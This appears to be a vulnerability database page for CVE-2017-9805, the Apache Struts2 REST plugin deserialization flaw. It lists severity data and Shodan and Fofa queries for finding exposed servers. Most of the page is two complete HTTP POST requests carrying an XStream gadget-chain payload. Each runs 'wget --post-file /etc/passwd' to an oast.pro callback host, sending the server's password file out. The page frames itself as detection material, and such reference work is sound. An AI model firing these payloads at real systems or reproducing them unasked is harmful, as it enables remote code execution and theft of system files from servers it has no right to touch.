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CVE-2017-9805: Apache Struts2 S2-052 - Remote Code Execution

Title	Apache Struts2 S2-052 - Remote Code Execution
Author	pikpikcu
Severity	High
Impact	Remote code execution
Remediation	Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
CVSS Score	8.1
EPSS Score	0.94322
CVE ID	CVE-2017-9805
CWE ID	CWE-502
Shodan Query	http.html:"apache struts"http.title:"struts2 showcase"http.html:"struts problem report"
Fofa Query	body="struts problem report"title="struts2 showcase"body="apache struts"
Tags	cve cve2017 apache rce struts kev vkev vuln

🔍 Vulnerability Description

The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.

🌐 HTTP Request

POST /struts2-rest-showcase/orders/3 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0 Safari/602.4.8
Connection: close
Content-Length: 2550
Accept: */*
Accept-Language: en
Content-Type: application/xml
Accept-Encoding: gzip

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        <string>wget</string>

                        <string>--post-file</string>

                        <string>/etc/passwd</string>

              <string>d5jqfl1le0o2hp6tctigimxux73f14135.oast.pro</string>

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>asdasd</name>

                  </filter>

                  <next class="string">asdasd</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer></ibuffer>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

POST /orders/3 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Content-Length: 2550
Accept: */*
Accept-Language: en
Content-Type: application/xml
Accept-Encoding: gzip

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        <string>wget</string>

                        <string>--post-file</string>

                        <string>/etc/passwd</string>

              <string>d5jqfl1le0o2hp6tctigpuu13zxqkkrpw.oast.pro</string>

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>asdasd</name>

                  </filter>

                  <next class="string">asdasd</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer></ibuffer>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9805.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-9805.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A